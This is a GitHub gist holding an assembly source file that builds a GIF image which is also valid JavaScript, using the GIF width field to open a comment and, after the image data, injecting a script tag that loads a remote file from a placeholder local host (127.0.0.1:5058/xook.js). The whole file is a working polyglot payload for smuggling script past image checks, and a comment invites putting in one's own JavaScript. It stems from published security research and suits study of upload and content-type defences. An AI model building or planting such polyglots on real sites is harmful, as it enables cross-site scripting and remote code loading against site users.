Last active
July 20, 2021 05:21
-
-
Save cmbaughman/e338e64a0a14b03105d8 to your computer and use it in GitHub Desktop.
How to execute JavaScript from a GIF!
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; a hand-made GIF containing valid JavaScript code | |
; abusing header to start a JavaScript comment | |
; inspired by Saumil Shah's Deadly Pixels presentation | |
; Ange Albertini, BSD Licence 2013 | |
; yamal gifjs.asm -o img.gif | |
WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment | |
HEIGTH equ 100 ; just to make it easier to spot | |
db 'GIF89a' | |
dw WIDTH, HEIGTH | |
db 0 ; GCT | |
db -1 ; background color | |
db 0 ; default aspect ratio | |
;db 0fch, 0feh, 0fch | |
;times COLORS db 0, 0, 0 | |
; no need of Graphic Control Extension | |
; db 21h, 0f9h | |
; db GCESIZE ; size | |
; gce_start: | |
; db 0 ; transparent background | |
; dw 0 ; delay for anim | |
; db 0 ; other transparent | |
; GCESIZE equ $ - gce_start | |
; db 0 ; end of GCE | |
db 02ch ; Image descriptor | |
dw 0, 0 ; NW corner | |
dw WIDTH, HEIGTH ; w/h of image | |
db 0 ; color table | |
db 2 ; lzw size | |
;db DATASIZE | |
;data_start: | |
; db 00, 01, 04, 04 | |
; DATASIZE equ $ - data_start | |
db 0 | |
db 3bh ; GIF terminator | |
; end of the GIF | |
db '*/' ; closing the comment | |
db '=1;' ; creating a fake use of that GIF89a string | |
db 's = document.createElement("script");' | |
db 's.src = "http://127.0.0.1:5058/xook.js";' | |
db 'document.body.appendChild(s);' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Must use YASM from http://yasm.tortall.net/Download.html
After compilation and putting your own js in there, test like this